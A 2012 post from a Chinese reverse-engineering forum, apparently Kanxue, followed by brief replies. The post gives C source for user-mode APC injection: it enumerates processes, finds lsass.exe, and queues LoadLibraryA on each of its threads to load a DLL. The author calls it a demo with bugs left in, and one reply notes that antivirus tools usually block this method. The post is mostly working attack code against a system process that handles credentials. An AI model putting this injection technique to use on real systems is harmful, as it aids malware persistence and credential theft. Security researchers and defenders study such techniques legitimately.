首页
社区
课程
招聘
[原创]今天突然想注入,写了点代码
发表于: 2012-4-3 15:13 8385

[原创]今天突然想注入,写了点代码

2012-4-3 15:13
8385
DWORD GetNtDllString(HANDLE dllbase)
{
        char* lpbuf = (char*)dllbase;
        while(stricmp(++lpbuf, ".dll") && lpbuf - (char*)dllbase < 65535);

        printf("%s", lpbuf - 5);

        return lpbuf - (char*)dllbase;
}


int main(int argc, char* argv[])
{
        HINSTANCE ntdll_dll = GetModuleHandle("ntdll.dll");
        NTQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
        PSYSTEM_PROCESSES pSp=NULL;
        ULONG retureSize = 0;
        DWORD status;
        unsigned char *buf;
        char * dll_name = (char*)ntdll_dll + GetNtDllString(ntdll_dll) - 3;

        printf("CurrentThreadId %d\ninject dll name:%s\n", 
                GetCurrentThreadId(), dll_name);

        ZwQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(ntdll_dll, "ZwQuerySystemInformation");
        status = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, NULL, 0, &retureSize);
        if (status != STATUS_INFO_LENGTH_MISMATCH)
                return -1;
        
        buf = malloc(retureSize);
        if (buf ==NULL)
                return -1; 
        
        status = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, (PVOID)buf, retureSize, NULL);
        if (status != STATUS_SUCCESS) 
                return -1;

        pSp = (PSYSTEM_PROCESSES)buf;
        
        do {
                pSp = (PSYSTEM_PROCESSES)( (unsigned long)pSp + pSp->NextEntryDelta );
                
                if (pSp->ProcessName.Buffer
                        && _wcsicmp(pSp->ProcessName.Buffer, L"lsass.exe") == 0){
                        ULONG i;
                        
                        for (i =0; i<pSp->ThreadCount; i++) {
                                HANDLE pthread;
                                pthread = OpenThread(THREAD_SET_CONTEXT, FALSE, (DWORD)pSp->Threads[i].ClientId.UniqueThread);
                                printf("进程 %d 线程:%d\r\n", 
                                        pSp->Threads[i].ClientId.UniqueProcess,
                                        pSp->Threads[i].ClientId.UniqueThread);
                                
                                if (!QueueUserAPC((PAPCFUNC)LoadLibraryA, pthread, (ULONG_PTR)dll_name))
                                        printf("QueueUserAPC error\n");

                                CloseHandle(pthread);
                        }
                        break;
                }
        } while ( pSp->NextEntryDelta != 0 );
        
        free(buf);

        while (!kbhit())
                SleepEx(100, TRUE);

        return 0;
}

inject.zip

还差4分就有公仔了
本代码仅供演示,具体大家懂的,其实是我自己没测试好就发出来了,不过基本不影响意思表达,也避免了部分同学直接拿来主义
具体bug请童鞋们自行修改吧,hoho

[课程]FART 脱壳王!加量不加价!FART作者讲授!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (11)
雪    币: 506
活跃值: (65)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
快了。
支持一下楼主
2012-4-3 17:09
0
雪    币: 506
活跃值: (65)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
楼主我能给你Kx不?
2012-4-3 17:10
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
4
怎么给?给我一点吧,哈哈!多多益善
2012-4-3 19:45
0
雪    币: 535
活跃值: (245)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
5
活动结束了吧..
2012-4-3 20:08
0
雪    币: 306
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
好像2007年就有这个了 http://bbs.pediy.com/showthread.php?t=56071
2012-4-3 21:48
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
好,下了
3q
2012-4-3 22:05
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
8
不觉得我这代码更风骚吗?
2012-4-3 22:05
0
雪    币: 183
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
9
楼主坚持啊!!有了公仔就可以送你GF了
2012-4-3 22:15
0
雪    币: 27
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
其实是送BF的……
2012-4-4 01:17
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
11
用户层插APC啊,这个方法应该绝大多数杀软都防御了吧。。。
2012-4-4 18:13
0
雪    币: 949
活跃值: (18)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
12
APC inject mark 感谢分享
2012-4-6 13:40
0
游客
登录 | 注册 方可回帖
返回
//